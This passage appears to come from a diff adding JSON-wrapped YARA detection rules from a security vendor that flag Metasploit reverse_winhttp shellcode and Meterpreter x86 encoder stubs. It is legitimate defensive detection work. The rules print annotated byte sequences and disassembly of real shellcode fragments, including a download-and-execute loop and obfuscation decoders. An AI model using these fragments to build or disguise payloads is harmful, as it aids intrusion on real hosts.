53                                            // push ebx               ; store a copy of the stage base address on the stack\n            53                                            // push ebx               ; temporary storage for bytes read count\n            89 E7                                         // mov edi, esp           ; &bytesRead\n\n            // download_more:\n            57                                            // push edi               ; NumberOfBytesRead (bytesRead)\n            68 00 20 00 00                                // push 8192              ; NumberOfBytesToRead\n            53                                            // push ebx               ; Buffer\n            56                                            // push esi               ; Request handler returned by WinHttpReceiveResponse\n            68 6C 29 24 7E                                // push 0x7E24296C        ; hash( \"winhttp.dll\", \"WinHttpReadData\" )\n            FF D5                                         // call ebp\n            85 C0                                         // test eax,eax           ; if download failed? (optional?)\n            74 C2                                         // jz failure\n            8B 07                                         // mov eax, [edi]\n            01 C3                                         // add ebx, eax           ; buffer += bytes_received\n            85 C0                                         // test eax,eax           ; optional?\n            75 E5                                         // jnz download_more      ; continue until it returns 0\n            58                                            // pop eax                ; clear the temporary storage\n\n            // execute_stage:\n            C3                                            // ret                    ; dive into the stored stage address\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_shellcode_reverse_winhttp_2f5d4530e5ec"
+  ],
+  "rule_creation_date": "2024-03-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_shellcode_reverse_winhttp_8316ced8e124_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569460Z",
+  "creation_date": "2026-03-23T11:46:25.569463Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569468Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/002/"
+  ],
+  "name": "metasploit_shellcode_reverse_winhttp_8316ced8e124.yar",
+  "content": "rule metasploit_shellcode_reverse_winhttp_8316ced8e124 {\n    meta:\n        title = \"Metasploit reverse_winhttp Shellcode (8316ced8e124)\"\n        id = \"810db84d-9682-4fb0-9889-8316ced8e124\"\n        description = \"Detects Metasploit's WinHTTP reverse HTTP(S) shellcode for x64 systems.\\nThe shellcode uses WinHTTP to communicate with a remote server.\\nIt is recommended to perform process analysis to identify any unauthorized use of WinHTTP, to check for signs of code injection and to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1055/002/\"\n        date = \"2024-03-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // a325cf218f5006b29433cfcfc5f7bc76531ad2db635e807c613f0eec37f05440\n\n        $shellcode_load_wininet  = {\n            48 31 DB                                      // xor     rbx, rbx\n            53                                            // push    rbx\n            49 BE 77 69 6E 68 74 74 70 00                 // mov     r14, 707474686E6977h\n            41 56                                         // push    r14\n            48 89 E1                                      // mov     rcx, rsp\n            49 C7 C2 4C 77 26 07                          // mov     r10, 726774Ch\n            FF D5                                         // call    rbp\n            53                                            // push    rbx\n            53                                            // push    rbx\n            48 89 E1                                      // mov     rcx, rsp\n            53                                            // push    rbx\n            5A                                            // pop     rdx\n            4D 31 C0                                      // xor     r8, r8\n            4D 31 C9                                      // xor     r9, r9\n            53                                            // push    rbx\n            53                                            // push    rbx\n            49 BA 04 1F 9D BB 00 00 00 00                 // mov     r10, 0BB9D1F04h\n            FF D5                                         // call    rbp\n        }\n\n        $shellcode_got_server_host  = {\n            4D 31 C9                                      // xor     r9, r9\n            49 BA 46 9B 1E C2 00 00 00 00                 // mov     r10, 0C21E9B46h\n            FF D5                                         // call    rbp\n        }\n\n        $shellcode_winhttpopenrequest  = {\n            4D 31 C9                                      // xor     r9, r9\n            53                                            // push    rbx\n            48 C7 C0 [4]                                  // mov     rax, 100h\n            50                                            // push    rax\n            53                                            // push    rbx\n            53                                            // push    rbx\n            49 C7 C2 98 10 B3 5B                          // mov     r10, 5BB31098h\n            FF D5                                         // call    rbp\n        }\n\n        $shellcode_download = {\n            // receive_response:\n            53                                            // push    rbx\n            5A                                            // pop     rdx\n            49 C7 C2 05 88 9D 70                          // mov     r10, 709D8805h\n            FF D5                                         // call    rbp\n            85 C0                                         // test    eax, eax\n            74 E9                                         // jz      short loc_28F\n\n            // allocate_memory:\n            53                                            // push    rbx\n            59                                            // pop     rcx\n            6A 40                                         // push    40h ; '@'\n            5A                                            // pop     rdx\n            49 89 D1                                      // mov     r9, rdx\n            C1 E2 10                                      // shl     edx, 10h\n            49 C7 C0 00 10 00 00                          // mov     r8, 1000h\n            49 BA 58 A4 53 E5 00 00 00 00                 // mov     r10, 0E553A458h\n            FF D5                                         // call    rbp\n\n            // download_prep:\n            48 93                                         // xchg    rax, rbx\n            53                                            // push    rbx\n            53                                            // push    rbx\n            48 89 E7                                      // mov     rdi, rsp\n\n            // download_more:\n            48 89 F1                                      // mov     rcx, rsi\n            48 89 DA                                      // mov     rdx, rbx\n            49 C7 C0 00 20 00 00                          // mov     r8, 2000h\n            49 89 F9                                      // mov     r9, rdi\n            49 C7 C2 6C 29 24 7E                          // mov     r10, 7E24296Ch\n            FF D5                                         // call    rbp\n            48 83 C4 20                                   // add     rsp, 20h\n            85 C0                                         // test    eax, eax\n            0F 84 9F FF FF FF                             // jz      loc_28F\n            66 8B 07                                      // mov     ax, [rdi]\n            48 01 C3                                      // add     rbx, rax\n            85 C0                                         // test    eax, eax\n            75 D1                                         // jnz     short loc_2CB\n            58                                            // pop     rax\n\n            // execute_stage:\n            C3                                            // retn\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_shellcode_reverse_winhttp_8316ced8e124"
+  ],
+  "rule_creation_date": "2024-03-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_add_sub_5d870ac6959c_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577230Z",
+  "creation_date": "2026-03-23T11:46:25.577232Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577238Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/add_sub.rb"
+  ],
+  "name": "meterpreter_encoder_add_sub_5d870ac6959c.yar",
+  "content": "rule meterpreter_encoder_add_sub_5d870ac6959c {\n    meta:\n        title = \"Meterpreter Add/Sub Encoder (5d870ac6959c)\"\n        id = \"64c82392-db95-4da8-b94d-5d870ac6959c\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with the add/sub encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/add_sub.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            54                                            // push    esp\n            58                                            // pop     eax\n            05 ?? ?? ?? ??                                // add     eax, 60C817F8h\n            05 ?? ?? ?? ??                                // add     eax, 0CFA16446h\n            05 ?? ?? ?? ??                                // add     eax, 0CF9683C2h\n            50                                            // push    eax\n            5C                                            // pop     esp\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 94DB326Dh\n            05 ?? ?? ?? ??                                // add     eax, 757E00BCh\n            05 ?? ?? ?? ??                                // add     eax, 0F60C453Ch\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 5871B4DEh\n            05 ?? ?? ?? ??                                // add     eax, 835129A9h\n            05 ?? ?? ?? ??                                // add     eax, 52A08DDAh\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 0AE632CA7h\n            05 ?? ?? ?? ??                                // add     eax, 1C39A335h\n            05 ?? ?? ?? ??                                // add     eax, 98CE9B87h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 0D5876049h\n            05 ?? ?? ?? ??                                // add     eax, 2DDDDCB8h\n            05 ?? ?? ?? ??                                // add     eax, 0D29A15FFh\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 0CF3635Bh\n            05 ?? ?? ?? ??                                // add     eax, 1B8745F9h\n            05 ?? ?? ?? ??                                // add     eax, 41F4C8BFh\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 84A0613Bh\n            05 ?? ?? ?? ??                                // add     eax, 5C3050FDh\n            05 ?? ?? ?? ??                                // add     eax, 66EA533Dh\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 825052BAh\n            05 ?? ?? ?? ??                                // add     eax, 12C72720h\n            05 ?? ?? ?? ??                                // add     eax, 4BE40630h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 0EF91F67Eh\n            05 ?? ?? ?? ??                                // add     eax, 1A6ECEDBh\n            05 ?? ?? ?? ??                                // add     eax, 7205777Ch\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 0A9143919h\n            05 ?? ?? ?? ??                                // add     eax, 0B985C426h\n            05 ?? ?? ?? ??                                // add     eax, 9D03C056h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 5CF82ADDh\n            05 ?? ?? ?? ??                                // add     eax, 3943CC4Dh\n            05 ?? ?? ?? ??                                // add     eax, 102C5F78h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 3545DBE0h\n            05 ?? ?? ?? ??                                // add     eax, 7200437Ch\n            05 ?? ?? ?? ??                                // add     eax, 0EAA9C79h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 868F1D0Eh\n            05 ?? ?? ?? ??                                // add     eax, 0C9CF89EFh\n            05 ?? ?? ?? ??                                // add     eax, 0AF28C88Eh\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 0DAED8870h\n            05 ?? ?? ?? ??                                // add     eax, 0D25E1FD7h\n            05 ?? ?? ?? ??                                // add     eax, 841CA7B9h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 125AD717h\n            05 ?? ?? ?? ??                                // add     eax, 8522A9ADh\n            05 ?? ?? ?? ??                                // add     eax, 688331C1h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 11C5911h\n            05 ?? ?? ?? ??                                // add     eax, 63A07D9h\n            05 ?? ?? ?? ??                                // add     eax, 85AB0973h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 186F7858h\n            05 ?? ?? ?? ??                                // add     eax, 411CDB6Ch\n            05 ?? ?? ?? ??                                // add     eax, 345EBEC7h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 55DF93DEh\n            05 ?? ?? ?? ??                                // add     eax, 0FFDBE294h\n            05 ?? ?? ?? ??                                // add     eax, 4A3E96Eh\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 6287C4DEh\n            05 ?? ?? ?? ??                                // add     eax, 0EBFADE3Ch\n            05 ?? ?? ?? ??                                // add     eax, 0B0CEB73Fh\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 1A945A7Ch\n            05 ?? ?? ?? ??                                // add     eax, 15F126F7h\n            05 ?? ?? ?? ??                                // add     eax, 30D5D9B1h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 250A6C29h\n            05 ?? ?? ?? ??                                // add     eax, 0EA8097E5h\n            05 ?? ?? ?? ??                                // add     eax, 14B985C2h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 66ED345h\n            05 ?? ?? ?? ??                                // add     eax, 21FF634h\n            05 ?? ?? ?? ??                                // add     eax, 0F8FC3B12h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 1ED3D522h\n            05 ?? ?? ?? ??                                // add     eax, 0E7200687h\n            05 ?? ?? ?? ??                                // add     eax, 0CD0D40AFh\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 9B595944h\n            05 ?? ?? ?? ??                                // add     eax, 0FF4A1852h\n            05 ?? ?? ?? ??                                // add     eax, 0F0A79AF5h\n            50                                            // push    eax\n            25 ?? ?? ?? ??                                // and     eax, 3358B290h\n            25 ?? ?? ?? ??                                // and     eax, 4C254803h\n            05 ?? ?? ?? ??                                // add     eax, 18846E25h\n            05 ?? ?? ?? ??                                // add     eax, 51AEBC88h\n            05 ?? ?? ?? ??                                // add     eax, 0FC9FD677h\n            50                                            // push    eax\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_add_sub_5d870ac6959c"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_call4_dword_xor_216478652723_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578371Z",
+  "creation_date": "2026-03-23T11:46:25.578373Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578379Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/call4_dword_xor.rb"
+  ],
+  "name": "meterpreter_encoder_call4_dword_xor_216478652723.yar",
+  "content": "rule meterpreter_encoder_call4_dword_xor_216478652723 {\n    meta:\n        title = \"Meterpreter Call+4 Encoder (216478652723)\"\n        id = \"f3fef967-f69a-498d-be00-216478652723\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with the call+4 encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/call4_dword_xor.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            83 E9 CF                                      // sub     ecx, 0FFFFFFCFh\n            E8 FF FF FF                                   // call $+4\n            FF C0                                         // inc     eax\n            5E                                            // pop     esi\n\n                                        // loc_C:\n            81 76 0E ?? ?? ?? ??                          // xor     dword ptr [esi+0Eh], 0BF7F9AD5h\n            83 EE FC                                      // sub     esi, 0FFFFFFFCh\n            E2 F4                                         // loop    loc_C\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_call4_dword_xor_216478652723"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_context_cpuid_aae504e96cf6_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578401Z",
+  "creation_date": "2026-03-23T11:46:25.578403Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578408Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/context_cpuid.rb"
+  ],
+  "name": "meterpreter_encoder_context_cpuid_aae504e96cf6.yar",
+  "content": "rule meterpreter_encoder_context_cpuid_aae504e96cf6 {\n    meta:\n        title = \"Meterpreter Context Cpuid Encoder (aae504e96cf6)\"\n        id = \"0855a61d-963d-4090-bf82-aae504e96cf6\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with the cpuid based context keyed payload encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/context_cpuid.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            31 F6                                         // xor     esi, esi\n            31 FF                                         // xor     edi, edi\n\n                                        // loc_4:\n            89 F8                                         // mov     eax, edi\n            31 C9                                         // xor     ecx, ecx\n            0F A2                                         // cpuid\n            31 C6                                         // xor     esi, eax\n            39 F0                                         // cmp     eax, esi\n            75 03                                         // jnz     short loc_13\n            8D 78 01                                      // lea     edi, [eax+1]\n\n                                        // loc_13:\n            31 DE                                         // xor     esi, ebx\n            31 CE                                         // xor     esi, ecx\n            31 D6                                         // xor     esi, edx\n            83 EF 01                                      // sub     edi, 1\n            75 E6                                         // jnz     short loc_4\n            89 F0                                         // mov     eax, esi\n\n            // Shikata block\n            [20]\n            E2 F5                                         // loop    loc_33\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_context_cpuid_aae504e96cf6"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_encoder_context_stat_4c869cbec187_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578897Z",
+  "creation_date": "2026-03-23T11:46:25.578900Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578905Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/context_stat.rb"
+  ],
+  "name": "meterpreter_encoder_context_stat_4c869cbec187.yar",
+  "content": "rule meterpreter_encoder_context_stat_4c869cbec187 {\n    meta:\n        title = \"Meterpreter Context Stat Encoder (4c869cbec187)\"\n        id = \"fd3a2b7b-3c50-43e2-abaf-4c869cbec187\"\n        description = \"Detects the usage of the Metasploit meterpreter x86 with stat based context keyed payload encoder.\\nThis technique is commonly used to obfuscate shellcode to avoid signature-based detection mechanisms.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/context_stat.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $encoder = {\n            D9 EE                                         // fldz\n            D9 74 24 F4                                   // fnstenv byte ptr [esp-0Ch]\n            5B                                            // pop     ebx\n            EB ??                                         // jmp     short loc_10\n            // STAT_FILE\n            [6-20]\n\n                                        // loc_10:\n            83 C3 09                                      // add     ebx, 9\n            8D 53 ??                                      // lea     edx, [ebx+7]\n            31 C0                                         // xor     eax, eax\n            88 02                                         // mov     [edx], al\n            8D 4C 24 A8                                   // lea     ecx, [esp-58h]\n            B0 C3                                         // mov     al, 0C3h\n            CD 80                                         // int     80h\n            8B 41 2C                                      // mov     eax, [ecx+2Ch]\n            33 41 48                                      // xor     eax, [ecx+48h]\n\n            // Shikata block\n            [20]\n            E2 F5                                         // loop    loc_33\n        }\n\n        condition:\n            all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_encoder_context_stat_4c869cbec187"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
